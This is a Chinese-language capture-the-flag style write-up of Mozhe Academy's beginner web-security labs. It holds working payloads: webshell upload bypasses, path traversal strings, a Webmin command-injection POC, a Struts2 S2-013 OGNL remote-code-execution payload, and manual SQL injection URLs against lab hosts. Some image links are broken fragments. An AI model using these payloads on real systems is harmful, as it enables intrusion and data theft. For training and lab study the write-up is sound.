墨者学院-web安全-入门
一、内部文件上传系统漏洞分析溯源
打开web页面:
是个文件上传,先随便上传一个 txt 文件并抓包:
发现是个 IIS,并且给了文件的上传路径 upload,那就尝试上传 asp 一句话,直接上传 asp 是不行的,需要绕过,绕过 asp 的方法也有多种:
蚁剑连接:
得到 key。
二、uWSGI 漏洞复现(CVE-2018-7490)
打开 web 页面:
发现 uWSGI/php 可能存在任意文件读取漏洞。应用方式为:
http://url/..%2f..%2f..%2f..%2f..%2fetc/passwd
其中 / 号要 url编码
可以读取文件,那就找一下 key.txt 文件:
三、Webmin未经身份验证的远程代码执行
打开 web 页面:
随便输入用户名密码抓包看一下:
发现路径是 /session_login.cgi,这个漏洞是有个 /password_change.cgi,所以在这里要进行修改,对提交的 user=&pass= 进行修改,构造 POC:
user=admin&pam=1&expired=2&old=admin|pwd&new1=admin&new2=admin
命令执行成功,找一下 key:
在 / 目录下发现 key,查看并提交:
四、Ruby On Rails漏洞复现第一题(CVE-2018-3760)
打开 web 页面:
发现是Ruby,在Ruby 3.7.1和更低版本中,存在由辅助解码引起的路径遍历漏洞。攻击者可以使用%252e%252e/访问根目录并读取或执行目标服务器上的任何文件。可以先检测一下是否有此漏洞:
/assets/file:%2f%2f/etc/passwd
根据报错路劲构造 payload:
/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
得到 key。
五、Ruby On Rails漏洞复现第二题(CVE-2019-5418)
打开 web 页面:
请求 robots,用 bp 抓包 通过传入 Accept: ../../../../../../../../etc/passwd{{ 头来构成构造路径穿越漏洞,读取任意文件。
得到 key。
六、登录密码重置漏洞分析溯源
打开 web 页面:
是要重置“17101304128”登录密码。
提示说我注册的手机号是 18868345809。尝试更改密码:
22.cnblogs.com/blog/1282531/202207/1282531-20220725164010436-1720063873.png)
显然只能更改 18868345809 的密码,那更改时时候尝试抓包修改:
把电话改成 17101304128 的:
得到key。
七、SQL注入漏洞测试(布尔盲注)
打开 web 页面:
点击通知,进入通知界面:
发现 url 中有 id=1,所以这里可能是诸如点,尝试注入:
发现有注入点,sqlmap 跑一下:
查看数据库中的信息:
得到用户名密码:mozhe:05400adb9a25903c9bd4ab3399aa48c4(md5解密为825800),登录:
得到 key。
八、phpMyAdmin后台文件包含分析溯源
打开 web 页面:
尝试弱口令登录: root:root :
拿到 key 的方法不少,这个就按照文件包含做:
在index.php后面添加一个参数target参数值,参数值为:
db_datadict.php?/../../../../../../../../../key.txt
编码后为:
db_datadict.php%253f%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F/key.txt
访问:
得到 key。
九、Apache Struts2远程代码执行漏洞(S2-013)复现
打开 web 页面:
S2-013 的 POC 为:
?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
用 POC 访问一下:
查看 flag:
得到 key。
九、SQL手工注入漏洞测试(MySQL数据库-字符型)
打开 web 页面:
点击通知进入注入点:
查看是否有注入点:
存在注入点。进行手注:
order by 最多是 4,使用 union 进行联合查询:
发现 2、3显示了,查看一下 user 和 database:
查看数据库有哪些表:
http://124.70.91.203:45168/new_list.php?id=%27%20union%20select%201,user(),(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=%20%27mozhe_discuz_stormgroup%27%20),4%20--%20-
查看 stormgroup_member 表有哪些列:
http://124.70.91.203:45168/new_list.php?id=%27%20union%20select%201,user(),(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%20=%20%27mozhe_discuz_stormgroup%27%20and%20table_name=%27stormgroup_member%27%20),4%20--%20-
查看 name 和 password:
http://124.70.91.203:45168/new_list.php?id=%27%20union%20select%201,user(),(select%20group_concat(concat_ws(0x7e,name,password,0x7e))%20from%20stormgroup_member),4%20--%20-
得到密码:mozhe:80c15d9375a888f9e32c5274d1a2a61a(md5解密为 833407),登录进系统:
得到 key。
十、表单暴力破解实训(第1题)
打开 web 页面:
用 bp 爆破一下密码,提示用户名是 admin,密码是 4 位数字:
得到 key。
十一、HTML前端代码分析(暗链)
打开 web 页面:
![image](https://img20
查看源码:
发现个 php 文件,访问一下:
得到 key。
十二、SVN信息泄露漏洞分析(第1题)
打开 web 页面:
一般是找 /.svn/wc.db ,下载下来:
打开查看:
发现有个 Key is here.php,访问一下:
得到 key。
十三、WEB页面源代码查看
打开 web 页面:
F12 页面源代码:
得到 key。
十四、SQL手工注入漏洞测试(Access数据库)
打开 web 页面:
进入通知界面,检查是否是注入点:
存在注入点,order by 检测:
猜表名:
猜到是 admin,猜列名:
猜到列名 username、passwd。得到用户名密码 moke:7e6ec4fadf84938f(md5解码得27737201),登录:
得到 key。
十五、SQL手工注入漏洞测试(MySQL数据库)
打开通知页面测试:
order by 测试:
union 联合查询,id=-1:
查询数据库:
查看表:
http://124.70.22.208:45319/new_list.php?id=-1%20union%20select%201,user(),(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=%20%27mozhe_Discuz_StormGroup%27%20),4
查看 StormGroup_member 表得列:
http://124.70.22.208:45319/new_list.php?id=-1%20union%20select%201,user(),(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%20=%20%27mozhe_Discuz_StormGroup%27%20and%20table_name=%27StormGroup_member%27%20),4
查看 name 和 password:
http://124.70.22.208:45319/new_list.php?id=-1%20union%20select%201,user(),(select%20group_concat(concat_ws(0x7e,name,password))%20from%20StormGroup_member),4
md5界面密码:mozhe:845724,登陆系统:
得到 key。
十六、SQL手工注入漏洞测试(Sql Server数据库)
打开通知界面:
order by 还是 4 位,联合查询:
http://219.153.49.228:42786/new_list.asp?id=2%20and%201=2%20union%20all%20select%201,2,%273%27,4
查询数据库:
http://219.153.49.228:42786/new_list.asp?id=2%20and%201=2%20union%20all%20select%201,db_name(),%273%27,4
查表:
http://219.153.49.228:42786/new_list.asp?id=2%20and%201=2%20union%20all%20select%201,(select%20top%201%20name%20from%20mozhe_db_v2.dbo.sysobjects%20where%20xtype=%27u%27),%273%27,4
查询其他表:
http://219.153.49.228:42786/new_list.asp?id=2%20and%201=2%20union%20all%20select%201,(select%20top%201%20name%20from%20mozhe_db_v2.dbo.sysobjects%20where%20xtype=%27u%27%20and%20name%20not%20in%20(%27manage%27)),%273%27,4
查表的列:
http://219.153.49.228:42786/new_list.asp?id=2%20and%201=2%20union%20all%20select%201,(select%20top%201%20col_name(object_id(%27manage%27),1)%20from%20sysobjects),%273%27,4
http://219.153.49.228:42786/new_list.asp?id=2%20and%201=2%20union%20all%20select%201,(select%20top%201%20col_name(object_id(%27manage%27),2)%20from%20sysobjects),%273%27,4
http://219.153.49.228:42786/new_list.asp?id=2%20and%201=2%20union%20all%20select%201,(select%20top%201%20col_name(object_id(%27manage%27),3)%20from%20sysobjects),%273%27,4
查 username 和 password:
http://219.153.49.228:42786/new_list.asp?id=2%20and%201=2%20union%20all%20select%201,username,password,4%20from%20manage
密码 md5 解密得:admin_mz:97285101,登录系统:
得到 key。
十七、WebShell文件上传漏洞分析溯源(第1题)
打开 web 页面:
上传个一句话木马,php4 绕过,上传成功,得到路径 uploads/saine.php4
蚁剑连接:
连接成功,查看 key:
十八、WebShell文件上传漏洞分析溯源(第2题)
打开 web 页面:
传个一句话木马:
发现只能上传图片,那就上传 gif 后缀的文件,bp改包,把 gif 后缀改成 php:
有了路径,蚁剑连接:
得到 key。